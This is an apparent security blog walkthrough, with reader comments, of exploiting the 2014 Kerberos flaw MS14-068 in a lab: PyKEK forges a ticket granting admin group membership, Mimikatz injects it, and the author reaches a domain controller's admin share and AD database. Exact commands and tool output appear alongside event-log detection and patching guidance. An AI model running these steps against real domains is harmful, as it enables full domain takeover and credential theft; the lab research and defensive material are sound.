Exploiting MS14-068 Vulnerable Domain Controllers Successfully with the Python Kerberos Exploitation Kit (PyKEK)

MS14-068 References:

After re-working my lab a bit, I set about testing the MS14-068 POC that Sylvain Monné posted to GitHub a few days ago. I configured a Windows 7 workstation with Python 2.7.8 and downloaded the PyKEK zip as well as the Mimikatz zip file.

The MS14-068.py Python script (part of PyKEK) can be run on any computer that has connectivity to the target Domain Controller.

I ran PyKEK against a Windows Server 2008 R2 Domain Controller not patched for MS14-068 using Kali Linux as well as a domain-joined Windows 7 workstation.

Note: All exploit stages can be executed without an admin account and can be performed on any computer on the network (including computers not domain-joined).
Microsoft KB3011780 patches this issue.

Updates:

12/13 Update: Added a section on How Does PyKEK Get a Forged PAC  into a TGT? with information on how PyKEK generates the forged TGT (valid TGT with a forged PAC).
12/8 Update: I added a Mitigation section at the end of the post as well as events from a patched Domain Controller when attempting to exploit (in the events section).
12/14 Update: I successfully ran the exploit using a non-domain joined Windows computer on the network without admin credentials.

MS14-068 Exploit Issues with Windows Server 2012 & 2012/R2:

I also stood up one Windows Server 2012 and one Windows Server 2012 R2 Domain Controller in the same site as the two unpatched Windows Server 2008 R2 DCs. None of the Domain Controllers in my lab.adsecurity.org AD Forest are patched for MS14-068.
After successfully running the PyKEK script to generate the TGT, I was unable to get a TGS successfully to exploit the 2008 R2 DC. After shutting down the 2012 & 2012R2 DCs, I could use the forged TGT to get a TGS and access the targeted 2008 R2 DC (ADSDC02).
PyKEK is only sometimes successful when there is an unpatched DC and a patched DC in the same Active Directory site. The same behavior is noted when there is an unpatched Windows Server 2008 R2 DC and a Windows Server 2012 DC in the same site. Successful exploit depends on what DC PyKEK connects to.

Staging the Attack:

The targeted user account in this post is “Darth Sidious” (darthsidious@lab.adsecurity.org). Note that this user is a member of Domain Users and a Workstation group. This group membership stays the same throughout the activity in this post (I took the screenshot after exploiting the DC). Assume that this user is an authorized user on the network and wants to get Domain Admin rights to perform nefarious actions. The user already has a valid domain account and knows the password for the domain. This is no different from an attacker spearphishing this user and stealing their credentials as they get local admin rights on the computer.

ADS-DC-DarthSidious-Account-MemberOf-TabOnce the attacker has valid domain credentials (and local admin rights if Python install is required) on a computer on the network, they can leverage PyKEK to generate a forged TGT by performing standard communication with the target (unpatched) DC.

The PyKEK ms14-068.py Python script needs some information to successfully generate a forged TGT:

  • User Principal Name (UPN) [-u]: darthsidious@lab.adsecurity.org
  • User Password [-p]: TheEmperor99!
  • User Security IDentifier (SID) [-s]: S-1-5-21-1473643419-774954089-222232912
    7-1110
  • Targeted Domain Controller [-d]: adsdc02.lab.adsecurity.org

The SID can be found by running the “whoami” command while logged in as the target user.

DarthSidiousWhoAmI

You can also get this information from PowerShell by running :

 [Security.Principal.WindowsIdentity]::GetCurrent( )

ADS-PowerShell-WhoAMI-DS

As I noted in my previous post on PyKEK, the following group membership is included in the forged TGT:

  • Domain Users (513)
  • Domain Admins (512)
  • Schema Admins (518)
  • Enterprise Admins (519)
  • Group Policy Creator Owners (520)


Phase 1: Forging a TGT:

Here’s a screenshot of the exploit working in Kali Linux (1.09a)

ADS-Kali-MS14068-PyKEk-Exploit

After generating the ccache file containing the forged and validated TGT Kerberos ticket, the ccache file can be copied to a Windows computer to run Mimikatz.

It works well on Windows running Python as well (command is in bold & italics).

c:\Temp\pykek>ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-222232912
7-1110 -d adsdc02.lab.adsecurity.org

[+] Building AS-REQ for adsdc02.lab.adsecurity.org… Done!
[+] Sending AS-REQ to adsdc02.lab.adsecurity.org… Done!
[+] Receiving AS-REP from adsdc02.lab.adsecurity.org… Done!
[+] Parsing AS-REP from adsdc02.lab.adsecurity.org… Done!
[+] Building TGS-REQ for adsdc02.lab.adsecurity.org… Done!
[+] Sending TGS-REQ to adsdc02.lab.adsecurity.org… Done!
[+] Receiving TGS-REP from adsdc02.lab.adsecurity.org… Done!
[+] Parsing TGS-REP from adsdc02.lab.adsecurity.org… Done!
  [+] Creating ccache file ‘TGT_darthsidious@lab.adsecurity.org.ccache’… Done!

Here’s the screenshot of the ms14-068 exploit working on Windows (does not require admin rights)..

ADS-WrkLocalAdmin-MS14068Exploit-TGTGenerationI ran WireShark on the targeted Domain Controller. Here’s the pcap (zipped) of the network traffic from the PyKEK ms14-068.py script: ADSecurityOrg-MS14068-Exploit-KRBPackets

Note that I have generated a forged TGT with a single, stolen domain account.

The next step is to use this forged TGT, so I logon to a computer as the local admin account with network access to the targeted Domain Controller.

Whoami shows I am logged on as admin on the computer ADSWKWIN7.

Klist shows there are no Kerberos tickets in memory for this user (there wouldn’t be, this is a local admin account).

The PyKEK ms14-068.py Python script saves the forged TGT to a ccache file (TGT_darthsidious@lab.adsecurity.org.ccache) in the current working directory (c:\temp\pykek shown above)

How Does PyKEK Get a Forged PAC  into a TGT?

The Python script performs a TGT request (Kerberos Authentication Service Request aka AS-REQ) and instead of requesting a TGT with a PAC (default AS-REQ), PyKEK requests a TGT with no PAC from the Domain Controller.

Once the script receives the valid TGT without a PAC from the DC, the script generates a PAC (with the group membership listed above) packages it in encrypted authorization data as part of a TGS request to the DC (Kerberos Ticket Granting Service Request aka TGS-REQ) to obtain another TGT (a new one with the PyKEK generated PAC).
“The vulnerable KDC will verify it with MD5 and give you another TGT with a PAC in it”.
This is the TGT that PyKEK saves to the ccache file used for stage 2.

Since PyKEK communicates with the Domain Controller for valid TGTs, the TGT is a valid ticket (other than the forged PAC it includes). To summarize, there are two TGTs involved in the process: the original one without a PAC as a result of the first AS-REQ and a second one the DC delivers in the TGS-REP with the PyKEK generated PAC.

NOTE: The TGT is technically not modified by PyKEK since it is encrypted by the KDC account (KRBTGT). The process the script uses results in a valid TGT with the PAC PyKEK created that is accepted by an unpatched DC. The genius part of this is that PyKEK uses the Kerberos AS & TGS exchanges to forge a PAC and have the DC place it into a new user TGT. Then when the TGT is presented later on in Stage 2 for a valid TGS, the PAC is accepted and its values carried on into the new TGS for a Kerberos service in AD.

Packet detail and additional information posted in the post “PyKEK Kerberos Packets on the Wire aka How the MS14-068 Exploit Works

Benjamin Delpy’s Mimikatz presentation at Passwords 2014 describes the MS14-068 exploit (slide below extracted from his presentation). You can watch Benjamin’s presentation here (2 video from the top). I updated my ealier MS14-068 post that describes the issue with PAC validation based on information Benjamin provided during this presentation.

py-Passwords2014Slides-PACsig1-MS14068(Thanks Banjamin for your continued efforts to make sure I get this right. 🙂 )

 

Phase 2: Injecting the forged TGT and gaining a valid TGS:

After the forged Kerberos TGT ticket is generated, it’s time to inject it into the current user session using Mimikatz (command is in bold & italics).

c:\Temp\pykek>c:\temp\mimikatz\mimikatz.exe “kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache” exit

.#####.   mimikatz 2.0 alpha (x64) release “Kiwi en C” (Nov 20 2014 01:35:45)
.## ^ ##.
## / \ ##  /* * *
## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
‘## v ##’   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
‘#####’                                     with 15 modules * * */

mimikatz(commandline) # kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache
Principal : (01) : darthsidious ; @ LAB.ADSECURITY.ORG
Data 0
Start/End/MaxRenew: 12/7/2014 3:10:30 PM ; 12/8/2014 1:10:30 AM ; 12/14/2014 3:10:30 PM
Service Name (01) : krbtgt ; LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY.ORG
Target Name  (01) : krbtgt ; LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY.ORG
Client Name  (01) : darthsidious ; @ LAB.ADSECURITY.ORG
Flags 50a00000    : pre_authent ; renewable ; proxiable ; forwardable ;
Session Key       : 0x00000017 – rc4_hmac_nt
af5e7b47316c4cebae0a7ead04059799
Ticket            : 0x00000000 – null              ; kvno = 2        […]
  * Injecting ticket : OK

mimikatz(commandline) # exit
Bye!

 

Note that since I am injecting the forged TGT which states that I am a member of Domain Admins, Enterprise Admins, etc into my session, when this TGT is passed to an unpatched DC for a Kerberos service ticket (TGS), the service ticket will show I am a member of these groups. When the TGS is presented to a service, the user account is treated as if it is a member of these groups, though viewing the group membership shows the user is conspicuously absent. This enables an attacker to act as if they are a member of groups when they are not.

ADS-Kali-MS14068-Mimikatz-TGTInjection-AccesstoDC-NTDS

I ran WireShark on the targeted Domain Controller. Here’s the pcap (zipped) of the network traffic using the forged TGT ticket via Mimikatz and connecting to the Domain Controller’s Admin$ share: ADSecurityOrg-MS14068-Exploit-KRBPackets-TGTInjection-And-DC-AdminShare-Access

Once I have successfully injected the forged TGT into my session (remember, I am logged onto a domain-joined Windows 7 computer as the local admin – not with AD domain credentials), I leverage this to connect to the Domain Controller and gain access to the Active Directory database (ntds.dit).
Note: a local admin account is NOT required. This stage can be executed with any account and can be run from a PowerShell window.

Domain Controller Event Logs from the Attack:

Unpatched Domain Controller Logs During the PyKEK MS14-068 Attack:

Here are the event logs on the targeted Domain Controller when using the forged TGT to get a TGS in order to access the Domain Controller’s admin$ share and locate the AD database files:

Event 4769 shows darthsidious@lab.adsecurity.org requesting a TGS Kerberos service ticket using the forged TGT.

ADS-DC-MS14068-Event1-4769

Event 4769 shows darthsidious@lab.adsecurity.org requesting a TGS Kerberos service ticket using the forged TGT.

ADS-DC-MS14068-Event2-4769

Event 4624 shows darthsidious@lab.adsecurity.org using the TGS service ticket to logon to the target Domain Controller.

ADS-DC-MS14068-Event3-4624

Event 5140 shows darthsidious@lab.adsecurity.org using the TGS service ticket to connect to the target Domain Controller’s Admin$ share (net use \\adsdc02.lab.adsecurity.org\admin$) which only an administrator has access.

ADS-DC-MS14068-Event4-5140

Event 4672 shows darthsidious@lab.adsecurity.org successfully authenticated (and logged on to) the target Domain Controller which only an administrator has access.

Note that this user has SeBackupPrivilege, SeRestorePrivilege, SeDebugPrivilege, SeTakeOwnership, etc showing the user has full Admin access to this computer. It’s Game Over at this point.

ADS-DC-MS14068-Event5-4672

MS14-068 Patched Domain Controller Logs During the PyKEK MS14-068 Attack:

Here’s what it looks like when a client attempts to use a forged TGT to get a Kerberos service ticket (TGS) when communicating with a patched DC:

Event 4769 shows darthsidious@lab.adsecurity.org attempting to get a Kerberos service ticket (TGS) for a CIFS (SMB) share on the Domain Controller (adsdc01.lab.adsecurity.org). The TGS fails because the DC  (adsdc01.lab.adsecurity.org) is patched an logs this failure in the security event log as a failed 4769 event. .
NOTE: This is the event Microsoft recommends you monitor closely after applying KB3011780 (the MS14-068 patch).

ADS-DC-MS14068-PatchedEvent1-4769Failure

Event 4776 shows an audit failure for the computer and the username logged into the computer. This event is associated with the 4769 event above. Since I was logged on as the local administrator account “admin” it shows in the log. This is a red flag. However, I could have created a local admin account on the box with the same name as a Domain Admin in the domain and it may not be scrutinized as much. Check your logs!

ADS-DC-MS14068-PatchedEvent2-4776-Failure

 

This concludes the lesson on how to own an Active Directory forest in less than 5 minutes with only a user account and a connected Windows computer (and associated admin account).

Mitigations:

  1. Patch all Domain Controllers with KB3011780 in every AD domain. I uploaded a sample script for getting KB3011780 patch status for all Domain Controllers: Get-DCPatchStatus (change file extension to .ps1)
  2. [UnPatched DCs] Monitor event ID 4672 for users who are not members of domain-level admin groups (default groups able to logon to Domain Controllers – this is why you shouldn’t use these default, built-in groups for delegation of administration):
    1. Enterprise Admins (admin on all DCs in the forest),
    2. Domain Admins
    3. Administrators
    4. Server Admins
    5. Backup Operators
    6. Account Operators
    7. Print Operators
    8. Other groups delegated in your environment to logon to Domain Controllers
  3. [Patched DCs], monitor event id 4769 Kerberos Service Ticket Operation event which shows failed attempts to get Kerberos service tickets (TGS).

 

References:

 

(Visited 37,587 times, 3 visits today)

19 comments

Skip to comment form

    • Anon on December 8, 2014 at 6:45 pm

    I had the same result in an environment that had some unpatched 2012.

    • user on December 9, 2014 at 8:32 am

    Hi, when I tried to use this script, I get the below error, could you please help me!

    C:\pykek-master\pykek-master>ms14-068.py -u user@domainname.com -s S-1-5-
    21-2441963288-1618231651-3797764320-1133 -d net01.domainname.com
    File “C:\pykek-master\pykek-master\ms14-068.py”, line 149
    print ‘ERROR:’, e
    ^
    SyntaxError: Missing parentheses in call to ‘print’

    Thanks

    1. Make sure you use Python 2.x and not 3.x.
      Please note that I didn’t write the code. If you have feedback for the author, please go to his github site: https://github.com/bidord/pykek

    • user on December 10, 2014 at 8:17 am

    Hi;

    When i try i take error mimikatz is there any module to install mimikatz or how can work kerberos::ptc ? Thanks for your helps;

    mimikatz # kerberos::ptc
    ERROR mimikatz_doLocal ; “ptc” command of “kerberos” module not found !

    Module : kerberos

    1. Mimikatz doesn’t install. You have to use the mimikatz.exe version appropriate to the OS – 32bit or 64bit.
      Reference this post for more info on Mimikatz: http://adsecurity.org/?p=556

    • Jason on December 10, 2014 at 4:13 pm

    Hi Sean.

    Thanks for this blog post. Do you have any screenshots running the exploit on a patched server? We patched our servers a couple weeks ago and I am trying to verify that they are indeed patched, by running the exploit on them…I’m getting some error messages when I run the exploit, so wanted to double-check what you see on patched Windows 2008/2012 machines.

    Thanks.
    Jason

    1. There is nothing to see on a patched DC versus an unpatched DC other than event logs.
      Don’t run the exploit on (or against) a server to test the patch.

      Run the PowerShell command on the server:
      Get-HotFix -ID “KB3011780”

    • rust on December 10, 2014 at 10:18 pm

    It seems I need two accounts to exploit ms14-068:
    one (domain account) to generate ccache file, another(local admin account) to inject the ticket.

    Is it possible that I can accomplish this exploit through only one domain account ?

    1. In a typical attack (or pentest) scenario, a computer is compromised which enables extracting credentials from memory. The credentials in memory include the currently logged on user (and potentially other accounts who logged on previously if the computer hasn’t rebooted recently). Most of the time, these credentials include at least 1 domain user account. Windows stores the user’s password in a reversible manner meaning that when you dump credentials from memory, you usually get the username, password, and NTLM password hash. If you have compromised the computer with code, this usually means you have gained admin rights on the computer.

      UPDATE & Clarification: The exploit does not require admin rights for ticket injection (or for the first stage which generates the TGT).

      Only one account is necessary and that is a domain user account. With that said, you need Python on a box on the network, so getting it there may require local admin rights on a computer.

      Hope this helps!

    • elkaluche on December 13, 2014 at 4:11 pm

    Hi sean, and thanks for the demo.

    I’m not able to reproduce the MS14-068 bug… I tried two “labs”, same error. No problem to create the ticket, (from Windows or Kali) no problem to inject (from Windows or Kali). But every time, when i use a “net use \\foo.local\admin$”, i’ve got a prompt for user/password … I also tried to inject the “.ccache” from my Windows 7 and from my Kali. Same error. Any idea ?

    My lab :
    My DC : Windows 2008 R2 FR without KB + AD with a “test” account, member of “Domain users” only
    My Client : Windows 7×64 FR, with a local admin user

    I notice that I have an crash from cmd when I type “klist tgt” after the injection. Have you got the same error ?

    Some output (in french 😉 ) ….

    c:\temp\mimikatz_trunk\x64>klist

    LogonId est 0:0x18015

    Tickets mis en cache : (1)

    #0> Client : test @ FOO.LOCAL
    Serveur : krbtgt/FOO.LOCAL @ FOO.LOCAL
    Type de chiffrement KerbTicket : RSADSI RC4-HMAC(NT)
    Indicateurs de tickets 0x50a00000 -> forwardable proxiable renewable pre_authent
    Heure de démarrage : 12/13/2014 21:51:02 (Local)
    Heure de fin : 12/14/2014 7:51:02 (Local)
    Heure de renouvellement : 12/20/2014 21:51:02 (Local)
    Type de clé de session : RSADSI RC4-HMAC(NT)

    c:\temp\mimikatz_trunk\x64>net use \\FOO.LOCAL\admin$
    Le mot de passe ou nom d'utilisateur n'est pas valide pour \\FOO.LOCAL\admin$.

    Entrez le nom d'utilisateur de 'FOO.LOCAL':

    Thanks for the help, i’m continuing my researches 😉

    1. Sorry, I don’t know what this is.

    • Brad on December 15, 2014 at 12:18 pm

    I think you have an error in your writeup under Unpatched Domain Controller Logs. You mention

    Event 4769 shows darthsidious@lab.adsecurity.org requesting a TGS Kerberos service ticket using the forged TGT.

    twice. Is the first event 4769 screenshot from a request for a TGT (AS-REQ)? But it’s an audit failure event?

    1. The screenshots are correct. There are two 4769 events that occur back-to-back. While similar, they are different.
      The first 4769 event shows:
      * Logon GUID: 000000000000-000-000-000-0000000000000
      * Service Name: krbtgt/LAB.ADSECURITY.ORG
      * Service ID: NULL SID

      The second 4769 event shows:
      * Logon GUID: 47b7d7cf-5677…
      * Service Name: ADSDC02$
      * Service ID: ADSECLAB\ADSDC02$

      The packet capture shows a TGS-REQ, a KRB ERROR (eRR-ETYPE-NOSUPP (14), and then another TGS-REQ.

    • Brad on December 15, 2014 at 12:26 pm

    You mention monitoring security event logs for event ID 4769 on patched DCs for detection of an attempted MS14-068 attack as well as event ID 4672 for inappropriate users logging on to unpatched DCs. Does the default audit policy log these events?

    1. I have “Audit account logon events” auditing set to Success & Failure.
      This will generate a lot of events on DCs in a production environment.

    • Jack on December 16, 2014 at 9:05 am

    Dear Sean,
    Very helpful and wonderful analysis! But I don’t reproduce. My environment is: DC server: windows server 2008 sp2. (Version 6.0.6002). After I run pykek and run mimikatz . All is OK. Then , I use the command “dir \\\c$”. system return “Access is denied”
    I debug the lsass.exe . I found after python tool send tgs_req to DC, the execution in the lsass.exe doesn’t run to KdcVerifyPacSignature. I think in the exploit successful scenario, it should run to KdcVerifyPacSignature when handle the python tool ‘s tgs_req. Am I right? Do you have any suggestion for me?
    Sincerely yours,
    Jack

    1. Are you running the exploit on the DC?
      Make sure you run the exploit on a computer on the network against a DC that’s unpatched (MS14068). If there’s a 2012 or newer DC, even if it is unpatched, it can cause issues with the exploit.

        • Jack on December 16, 2014 at 9:17 pm

        My environment is one win7 client and one DC server [windows server 2008 sp2. (Version 6.0.6002)]

        1. Ok. Not sure why it isn’t working. I ran through this in two different lab environments with different configurations about 20 times.
          I suggest you reach out to the PyKEK author: https://github.com/bidord/pykek

Comments have been disabled.